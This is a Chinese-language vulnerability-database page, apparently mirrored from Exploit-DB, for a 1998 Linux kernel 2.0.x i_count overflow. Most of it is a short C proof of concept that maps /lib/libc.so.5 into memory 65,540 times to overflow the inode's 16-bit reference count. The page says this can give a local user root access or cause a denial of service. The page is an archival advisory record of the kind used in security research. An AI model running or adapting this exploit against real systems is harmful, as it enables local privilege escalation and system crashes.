Linux Kernel 2.0/2.0.33 – i_count Overflow (PoC)

Linux Kernel 2.0/2.0.33 – i_count Overflow (PoC)

漏洞ID 1053355 漏洞类型
发布时间 1998-01-14 更新时间 1998-01-14
图片[1]-Linux Kernel 2.0/2.0.33 – i_count Overflow (PoC)-安全小百科CVE编号 N/A
图片[2]-Linux Kernel 2.0/2.0.33 – i_count Overflow (PoC)-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/19308
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/388/info

The i_count member in the Linux inode structure is an unsigned short integer. It can be overflowed by mapping a single file too many times, allowing for a local user to possibly gain root access on the target machine or cause a denial of service.

Below is a short example of how this vulnerability can be exploited:
*/

#include <unistd.h> 
#include <fcntl.h>

#include <sys/mman.h>

void main()

{

int fd, i;

fd = open("/lib/libc.so.5", O_RDONLY);

for(i = 0; i < 65540; i++)

{

mmap((char*)0x50000000 + (0x1000 * i), 0x1000,

PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);

}

}

相关推荐: Multiple Vendor telnetd Vulnerability

Multiple Vendor telnetd Vulnerability 漏洞ID 1105131 漏洞类型 Input Validation Error 发布时间 1995-10-13 更新时间 1995-10-13 CVE编号 N/A CNNVD-ID …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享